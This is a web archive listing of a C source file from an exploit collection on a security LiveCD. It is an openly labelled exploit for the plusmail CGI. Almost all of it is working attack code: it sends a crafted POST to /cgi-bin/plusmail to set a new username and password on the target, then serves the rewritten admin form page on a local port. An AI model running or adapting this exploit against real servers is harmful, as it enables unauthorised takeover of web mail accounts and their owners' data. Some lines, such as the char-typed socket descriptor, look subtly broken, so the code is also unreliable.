home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / plusmail / plusmail2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  212 lines

  1. /*
  2.  * plusmail cgi exploit 
  3.    - missnglnk 
  4.    greets: herf, ytcracker, mosthated, tino
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <string.h>
  10. #include <unistd.h>
  11. #include <sys/stat.h>
  12. #include <sys/types.h>
  13. #include <fcntl.h>
  14. #include <sys/socket.h>
  15. #include <netdb.h>
  16. #include <netinet/in.h>
  17. #include <arpa/inet.h>
  18. #include <sys/param.h>
  19.  
  20. extern int      errno;
  21.  
  22. int
  23. main(int argc, char **argv)
  24. {
  25.     int             argswitch, tport = 80, sockfd, plen, cltlen, lport = 4040;
  26.     char           *target, tmpdata[32768], *password = "default",
  27.                    *username = "jackdidntsetone", pdata[1024], *errcode,
  28.                    *tmpline, *firstline, clntfd, origdata[32768], htmldata[32768];
  29.     struct sockaddr_in rmt, srv, clt;
  30.     struct hostent *he;
  31.     unsigned long   ip;
  32.  
  33.     if (argc < 5) {
  34.         printf("plusmail cgi exploit by missnglnk\n");
  35.         printf("%s [-h hostname/ip ] [-p target port] [-u username] [-n newpassword] [-l optional local port]\n",
  36. argv[0]);
  37.         return -1;
  38.     }
  39.  
  40.     while ((argswitch = getopt(argc, argv, "h:p:u:n:l:v")) != -1) {
  41.         switch (argswitch) {
  42.         case 'h':
  43.             if (strlen(optarg) > MAXHOSTNAMELEN) {
  44.                 printf("ERROR: Target hostname too long.\n");
  45.                 return -1;
  46.             }
  47.             target = optarg;
  48.             break;
  49.  
  50.         case 'p':
  51.             tport = atoi(optarg);
  52.             break;
  53.  
  54.         case 'n':
  55.             if (strlen(optarg) > 8) {
  56.                 printf("Password length greater than 8 characters.\n");
  57.                 return -1;
  58.             }
  59.             password = optarg;
  60.             break;
  61.  
  62.         case 'u':
  63.             if (strlen(optarg) > 8) {
  64.                 printf("Username length greater than 8 characters.\n");
  65.                 return -1;
  66.             }
  67.             username = optarg;
  68.             break;
  69.  
  70.         case 'l':
  71.             lport = atoi(optarg);
  72.             break;
  73.  
  74.         case '?':
  75.         default:
  76.             printf("plusmail cgi exploit by missnglnk\n");
  77.             printf("%s [-h hostname/ip ] [-p target port] [-u username] [-n newpassword] [-l optional local
  78. port]\n", argv[0]);
  79.             return -1;
  80.             break;
  81.         }
  82.     }
  83.  
  84.     argc -= optind;
  85.     argv += optind;
  86.  
  87.     bzero(&rmt, sizeof(rmt));
  88.     bzero(&srv, sizeof(srv));
  89.     bzero(&clt, sizeof(clt));
  90.     bzero(tmpdata, sizeof(tmpdata));
  91.     cltlen = sizeof(clt);
  92.  
  93.     if ((he = gethostbyname(target)) != NULL) {
  94.         ip = *(unsigned long *) he->h_addr;
  95.     } else if ((ip = inet_addr(target)) == NULL) {
  96.         perror("Error resolving target");
  97.         return -1;
  98.     }
  99.  
  100.     rmt.sin_family = AF_INET;
  101.     rmt.sin_addr.s_addr = ip;
  102.     rmt.sin_port = htons(tport);
  103.  
  104.     srv.sin_family = AF_INET;
  105.     srv.sin_addr.s_addr = INADDR_ANY;
  106.     srv.sin_port = htons(lport);
  107.  
  108.     if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
  109.         perror("Error creating socket");
  110.         return -1;
  111.     }
  112.  
  113.     if (connect(sockfd, (struct sockaddr *) & rmt, sizeof(rmt)) < 0) {
  114.         perror("Error connecting");
  115.         return -1;
  116.     }
  117.  
  118.     snprintf(pdata, sizeof(pdata), "username=%s&password=%s&password1=%s&new_login=missnglnk", username, password,
  119. password);
  120.     plen = strlen(pdata);
  121.  
  122.     snprintf(tmpdata, sizeof(tmpdata), "POST /cgi-bin/plusmail HTTP/1.0\n" \
  123.          "Referer: http://www.pure-security.net\n" \
  124.          "User-Agent: Mozilla/4.08 [en] (X11; I; SunOS 5.7 missnglnk)\n" \
  125.          "Host: %s\n" \
  126.          "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\n" \
  127.          "Accept-Encoding: gzip\n" \
  128.          "Accept-Language: en\n" \
  129.          "Accept-Charset: isp-8859-1,*,utf-8\n" \
  130.          "Content-type: application/x-www-form-urlencoded\n" \
  131.          "Content-length: %d\n" \
  132.          "\n%s\n", target, plen, pdata);
  133.  
  134.     if (write(sockfd, tmpdata, strlen(tmpdata)) < strlen(tmpdata)) {
  135.         perror("Error writing data");
  136.         return -1;
  137.     }
  138.  
  139.     bzero(tmpdata, sizeof(tmpdata));
  140.     while (read(sockfd, tmpdata, sizeof(tmpdata)) != 0) {
  141.         strncpy(origdata, tmpdata, sizeof(origdata));
  142.         firstline = strtok(tmpdata, "\n");
  143.         bzero(tmpdata, sizeof(tmpdata));
  144.  
  145.         if ((errcode = strstr(firstline, "404")) != NULL) {
  146.             printf("plusmail.cgi aint here buddy.\n");
  147.             return -1;
  148.         }
  149.  
  150.         for ((tmpline = strtok(origdata, "\n")); tmpline != NULL; (tmpline = strtok(NULL, "\n"))) {
  151.             if ((errcode = strstr(tmpline, "<form action")) != NULL) {
  152. //                sprintf(htmldata, "%s<form action = \"http://%s/cgi-bin/plusmail\" method = \"post\">\n",
  153. htmldata, target);
  154.                 snprintf(htmldata, sizeof(htmldata), "%s<form action = \"http://%s/cgi-bin/plusmail\" method =
  155. \"post\">\n", htmldata, target);
  156.             } else {
  157. //                sprintf(htmldata, "%s%s\n", htmldata, tmpline);
  158.                 snprintf(htmldata, sizeof(htmldata), "%s%s\n", htmldata, tmpline);
  159.             }
  160.         }
  161.     }
  162.  
  163.     if (close(sockfd) < 0) {
  164.         perror("Error closing socket");
  165.         return -1;
  166.     }
  167.  
  168.     strncat(htmldata, "\n<br><missnglnk>\0", sizeof(htmldata));
  169.  
  170.     if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
  171.         perror("Error creating socket");
  172.         return -1;
  173.     }
  174.  
  175.     printf("waiting on port %d...", lport);
  176.  
  177.     if (bind(sockfd, (struct sockaddr *) & srv, sizeof(srv)) < 0) {
  178.         perror("Error binding to socket");
  179.         return -1;
  180.     }
  181.  
  182.     if (listen(sockfd, 0) < 0) {
  183.         perror("Error setting backlog");
  184.         return -1;
  185.     }
  186.  
  187.     if ((clntfd = accept(sockfd, (struct sockaddr *) & clt, &cltlen)) < 0) {
  188.         perror("Error accepting connection");
  189.         return -1;
  190.     }
  191.  
  192.     printf("connection from %s:%d\n", inet_ntoa(clt.sin_addr), ntohs(clt.sin_port));
  193.  
  194.     if (!write(clntfd, htmldata, sizeof(htmldata))) {
  195.         perror("Error writing data");
  196.         return -1;
  197.     }
  198.  
  199.     if (close(clntfd) < 0) {
  200.         perror("Error closing socket");
  201.         return -1;
  202.     }
  203.  
  204.     printf("\n%s\n", htmldata);
  205.     return 0;
  206. }
  207.  
  208.  
  209.  
  210.  
  211.  
  212.